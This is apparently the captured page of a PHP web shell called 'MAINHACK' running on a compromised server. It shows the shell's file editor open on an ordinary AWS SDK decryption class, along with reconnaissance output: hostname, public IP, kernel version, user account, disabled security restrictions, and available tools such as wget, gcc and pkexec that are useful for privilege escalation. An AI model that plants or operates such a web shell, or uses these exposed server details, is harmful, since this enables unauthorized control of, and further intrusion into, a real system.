[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: AesGcmDecryptingStream.php
<?php namespace Aws\Crypto; use Aws\Exception\CryptoException; use GuzzleHttp\Psr7; use GuzzleHttp\Psr7\StreamDecoratorTrait; use Psr\Http\Message\StreamInterface; use Aws\Crypto\Polyfill\AesGcm; use Aws\Crypto\Polyfill\Key; /** * @internal Represents a stream of data to be gcm decrypted. */ class AesGcmDecryptingStream implements AesStreamInterface { use StreamDecoratorTrait; private $aad; private $initializationVector; private $key; private $keySize; private $cipherText; private $tag; private $tagLength; /** * @var StreamInterface */ private $stream; /** * @param StreamInterface $cipherText * @param string $key * @param string $initializationVector * @param string $tag * @param string $aad * @param int $tagLength * @param int $keySize */ public function __construct( StreamInterface $cipherText, $key, $initializationVector, $tag, $aad = '', $tagLength = 128, $keySize = 256 ) { $this->cipherText = $cipherText; $this->key = $key; $this->initializationVector = $initializationVector; $this->tag = $tag; $this->aad = $aad; $this->tagLength = $tagLength; $this->keySize = $keySize; // unsetting the property forces the first access to go through // __get(). unset($this->stream); } public function getOpenSslName() { return "aes-{$this->keySize}-gcm"; } public function getAesName() { return 'AES/GCM/NoPadding'; } public function getCurrentIv() { return $this->initializationVector; } public function createStream() { if (version_compare(PHP_VERSION, '7.1', '<')) { return Psr7\Utils::streamFor(AesGcm::decrypt( (string) $this->cipherText, $this->initializationVector, new Key($this->key), $this->aad, $this->tag, $this->keySize )); } else { $result = \openssl_decrypt( (string)$this->cipherText, $this->getOpenSslName(), $this->key, OPENSSL_RAW_DATA, $this->initializationVector, $this->tag, $this->aad ); if ($result === false) { throw new CryptoException('The requested object could not be' . ' decrypted due to an invalid authentication tag.'); } return Psr7\Utils::streamFor($result); } } public function isWritable(): bool { return false; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.63 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002